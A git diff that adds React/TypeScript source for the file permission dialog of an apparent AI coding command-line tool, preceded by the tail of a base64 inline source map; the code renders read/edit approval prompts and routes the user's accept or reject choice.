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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/permissions/FilePermissionDialog/useFilePermissionDialog.ts b/_all-in-one-upload/cc-haha/src/components/permissions/FilePermissionDialog/useFilePermissionDialog.ts
new file mode 100644
index 0000000..3272c96
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/permissions/FilePermissionDialog/useFilePermissionDialog.ts
@@ -0,0 +1,212 @@
+import { useCallback, useMemo, useState } from 'react'
+import { useAppState } from 'src/state/AppState.js'
+import { useKeybindings } from '../../../keybindings/useKeybinding.js'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from '../../../services/analytics/index.js'
+import { sanitizeToolNameForAnalytics } from '../../../services/analytics/metadata.js'
+import type { PermissionUpdate } from '../../../utils/permissions/PermissionUpdateSchema.js'
+import type { CompletionType } from '../../../utils/unaryLogging.js'
+import type { ToolUseConfirm } from '../PermissionRequest.js'
+import {
+  type FileOperationType,
+  getFilePermissionOptions,
+  type PermissionOption,
+  type PermissionOptionWithLabel,
+} from './permissionOptions.js'
+import {
+  PERMISSION_HANDLERS,
+  type PermissionHandlerParams,
+} from './usePermissionHandler.js'
+
+export interface ToolInput {
+  [key: string]: unknown
+}
+
+export type UseFilePermissionDialogProps<T extends ToolInput> = {
+  filePath: string
+  completionType: CompletionType
+  languageName: string | Promise<string>
+  toolUseConfirm: ToolUseConfirm
+  onDone: () => void
+  onReject: () => void
+  parseInput: (input: unknown) => T
+  operationType?: FileOperationType
+}
+
+export type UseFilePermissionDialogResult<T> = {
+  options: PermissionOptionWithLabel[]
+  onChange: (option: PermissionOption, input: T, feedback?: string) => void
+  acceptFeedback: string
+  rejectFeedback: string
+  focusedOption: string
+  setFocusedOption: (option: string) => void
+  handleInputModeToggle: (value: string) => void
+  yesInputMode: boolean
+  noInputMode: boolean
+}
+
+/**
+ * Hook for handling file permission dialogs with common logic
+ */
+export function useFilePermissionDialog<T extends ToolInput>({
+  filePath,
+  completionType,
+  languageName,
+  toolUseConfirm,
+  onDone,
+  onReject,
+  parseInput,
+  operationType = 'write',
+}: UseFilePermissionDialogProps<T>): UseFilePermissionDialogResult<T> {
+  const toolPermissionContext = useAppState(s => s.toolPermissionContext)
+  const [acceptFeedback, setAcceptFeedback] = useState('')
+  const [rejectFeedback, setRejectFeedback] = useState('')
+  const [focusedOption, setFocusedOption] = useState('yes')
+  const [yesInputMode, setYesInputMode] = useState(false)
+  const [noInputMode, setNoInputMode] = useState(false)
+  // Track whether user ever entered feedback mode (persists after collapse)
+  const [yesFeedbackModeEntered, setYesFeedbackModeEntered] = useState(false)
+  const [noFeedbackModeEntered, setNoFeedbackModeEntered] = useState(false)
+
+  // Generate options based on context
+  const options = useMemo(
+    () =>
+      getFilePermissionOptions({
+        filePath,
+        toolPermissionContext,
+        operationType,
+        onRejectFeedbackChange: setRejectFeedback,
+        onAcceptFeedbackChange: setAcceptFeedback,
+        yesInputMode,
+        noInputMode,
+      }),
+    [filePath, toolPermissionContext, operationType, yesInputMode, noInputMode],
+  )
+
+  // Handle option selection using shared handlers
+  const onChange = useCallback(
+    (option: PermissionOption, input: T, feedback?: string) => {
+      const params: PermissionHandlerParams = {
+        messageId: toolUseConfirm.assistantMessage.message.id,
+        path: filePath,
+        toolUseConfirm,
+        toolPermissionContext,
+        onDone,
+        onReject,
+        completionType,
+        languageName,
+        operationType,
+      }
+
+      // Override the input in toolUseConfirm to pass the parsed input
+      const originalOnAllow = toolUseConfirm.onAllow
+      toolUseConfirm.onAllow = (
+        _input: unknown,
+        permissionUpdates: PermissionUpdate[],
+        feedback?: string,
+      ) => {
+        originalOnAllow(input, permissionUpdates, feedback)
+      }
+
+      const handler = PERMISSION_HANDLERS[option.type]
+      handler(params, {
+        feedback,
+        hasFeedback: !!feedback,
+        enteredFeedbackMode:
+          option.type === 'accept-once'
+            ? yesFeedbackModeEntered
+            : noFeedbackModeEntered,
+        scope: option.type === 'accept-session' ? option.scope : undefined,
+      })
+    },
+    [
+      filePath,
+      completionType,
+      languageName,
+      toolUseConfirm,
+      toolPermissionContext,
+      onDone,
+      onReject,
+      operationType,
+      yesFeedbackModeEntered,
+      noFeedbackModeEntered,
+    ],
+  )
+
+  // Handler for confirm:cycleMode - select accept-session option
+  const handleCycleMode = useCallback(() => {
+    const sessionOption = options.find(o => o.option.type === 'accept-session')
+    if (sessionOption) {
+      const parsedInput = parseInput(toolUseConfirm.input)
+      onChange(sessionOption.option, parsedInput)
+    }
+  }, [options, parseInput, toolUseConfirm.input, onChange])
+
+  // Register keyboard shortcut handler via keybindings system
+  useKeybindings(
+    { 'confirm:cycleMode': handleCycleMode },
+    { context: 'Confirmation' },
+  )
+
+  // Wrap setFocusedOption and reset input mode when navigating away
+  const handleFocusedOptionChange = useCallback(
+    (value: string) => {
+      // Reset input mode when navigating away, but only if no text typed
+      if (value !== 'yes' && yesInputMode && !acceptFeedback.trim()) {
+        setYesInputMode(false)
+      }
+      if (value !== 'no' && noInputMode && !rejectFeedback.trim()) {
+        setNoInputMode(false)
+      }
+      setFocusedOption(value)
+    },
+    [yesInputMode, noInputMode, acceptFeedback, rejectFeedback],
+  )
+
+  // Handle Tab key toggling input mode for Yes/No options
+  const handleInputModeToggle = useCallback(
+    (value: string) => {
+      const analyticsProps = {
+        toolName: sanitizeToolNameForAnalytics(
+          toolUseConfirm.tool.name,
+        ) as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        isMcp: toolUseConfirm.tool.isMcp ?? false,
+      }
+
+      if (value === 'yes') {
+        if (yesInputMode) {
+          setYesInputMode(false)
+          logEvent('tengu_accept_feedback_mode_collapsed', analyticsProps)
+        } else {
+          setYesInputMode(true)
+          setYesFeedbackModeEntered(true)
+          logEvent('tengu_accept_feedback_mode_entered', analyticsProps)
+        }
+      } else if (value === 'no') {
+        if (noInputMode) {
+          setNoInputMode(false)
+          logEvent('tengu_reject_feedback_mode_collapsed', analyticsProps)
+        } else {
+          setNoInputMode(true)
+          setNoFeedbackModeEntered(true)
+          logEvent('tengu_reject_feedback_mode_entered', analyticsProps)
+        }
+      }
+    },
+    [yesInputMode, noInputMode, toolUseConfirm],
+  )
+
+  return {
+    options,
+    onChange,
+    acceptFeedback,
+    rejectFeedback,
+    focusedOption,
+    setFocusedOption: handleFocusedOptionChange,
+    handleInputModeToggle,
+    yesInputMode,
+    noInputMode,
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/components/permissions/FilesystemPermissionRequest/FilesystemPermissionRequest.tsx b/_all-in-one-upload/cc-haha/src/components/permissions/FilesystemPermissionRequest/FilesystemPermissionRequest.tsx
new file mode 100644
index 0000000..e6275cb
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/permissions/FilesystemPermissionRequest/FilesystemPermissionRequest.tsx
@@ -0,0 +1,115 @@
+import { c as _c } from "react/compiler-runtime";
+import React from 'react';
+import { Box, Text, useTheme } from '../../../ink.js';
+import { FallbackPermissionRequest } from '../FallbackPermissionRequest.js';
+import { FilePermissionDialog } from '../FilePermissionDialog/FilePermissionDialog.js';
+import type { ToolInput } from '../FilePermissionDialog/useFilePermissionDialog.js';
+import type { PermissionRequestProps, ToolUseConfirm } from '../PermissionRequest.js';
+function pathFromToolUse(toolUseConfirm: ToolUseConfirm): string | null {
+  const tool = toolUseConfirm.tool;
+  if ('getPath' in tool && typeof tool.getPath === 'function') {
+    try {
+      return tool.getPath(toolUseConfirm.input);
+    } catch {
+      return null;
+    }
+  }
+  return null;
+}
+export function FilesystemPermissionRequest(t0) {
+  const $ = _c(30);
+  const {
+    toolUseConfirm,
+    onDone,
+    onReject,
+    verbose,
+    toolUseContext,
+    workerBadge
+  } = t0;
+  const [theme] = useTheme();
+  let t1;
+  if ($[0] !== toolUseConfirm) {
+    t1 = pathFromToolUse(toolUseConfirm);
+    $[0] = toolUseConfirm;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const path = t1;
+  let t2;
+  if ($[2] !== toolUseConfirm.input || $[3] !== toolUseConfirm.tool) {
+    t2 = toolUseConfirm.tool.userFacingName(toolUseConfirm.input as never);
+    $[2] = toolUseConfirm.input;
+    $[3] = toolUseConfirm.tool;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  const userFacingName = t2;
+  const isReadOnly = toolUseConfirm.tool.isReadOnly(toolUseConfirm.input);
+  const userFacingReadOrEdit = isReadOnly ? "Read" : "Edit";
+  const title = `${userFacingReadOrEdit} file`;
+  const parseInput = _temp;
+  if (!path) {
+    let t3;
+    if ($[5] !== onDone || $[6] !== onReject || $[7] !== toolUseConfirm || $[8] !== toolUseContext || $[9] !== verbose || $[10] !== workerBadge) {
+      t3 = <FallbackPermissionRequest toolUseConfirm={toolUseConfirm} toolUseContext={toolUseContext} onDone={onDone} onReject={onReject} verbose={verbose} workerBadge={workerBadge} />;
+      $[5] = onDone;
+      $[6] = onReject;
+      $[7] = toolUseConfirm;
+      $[8] = toolUseContext;
+      $[9] = verbose;
+      $[10] = workerBadge;
+      $[11] = t3;
+    } else {
+      t3 = $[11];
+    }
+    return t3;
+  }
+  let t3;
+  if ($[12] !== theme || $[13] !== toolUseConfirm.input || $[14] !== toolUseConfirm.tool || $[15] !== verbose) {
+    t3 = toolUseConfirm.tool.renderToolUseMessage(toolUseConfirm.input as never, {
+      theme,
+      verbose
+    });
+    $[12] = theme;
+    $[13] = toolUseConfirm.input;
+    $[14] = toolUseConfirm.tool;
+    $[15] = verbose;
+    $[16] = t3;
+  } else {
+    t3 = $[16];
+  }
+  let t4;
+  if ($[17] !== t3 || $[18] !== userFacingName) {
+    t4 = <Box flexDirection="column" paddingX={2} paddingY={1}><Text>{userFacingName}({t3})</Text></Box>;
+    $[17] = t3;
+    $[18] = userFacingName;
+    $[19] = t4;
+  } else {
+    t4 = $[19];
+  }
+  const content = t4;
+  const t5 = isReadOnly ? "read" : "write";
+  let t6;
+  if ($[20] !== content || $[21] !== onDone || $[22] !== onReject || $[23] !== path || $[24] !== t5 || $[25] !== title || $[26] !== toolUseConfirm || $[27] !== toolUseContext || $[28] !== workerBadge) {
+    t6 = <FilePermissionDialog toolUseConfirm={toolUseConfirm} toolUseContext={toolUseContext} onDone={onDone} onReject={onReject} workerBadge={workerBadge} title={title} content={content} path={path} parseInput={parseInput} operationType={t5} completionType="tool_use_single" />;
+    $[20] = content;
+    $[21] = onDone;
+    $[22] = onReject;
+    $[23] = path;
+    $[24] = t5;
+    $[25] = title;
+    $[26] = toolUseConfirm;
+    $[27] = toolUseContext;
+    $[28] = workerBadge;
+    $[29] = t6;
+  } else {
+    t6 = $[29];
+  }
+  return t6;
+}
+function _temp(input) {
+  return input as ToolInput;
+}
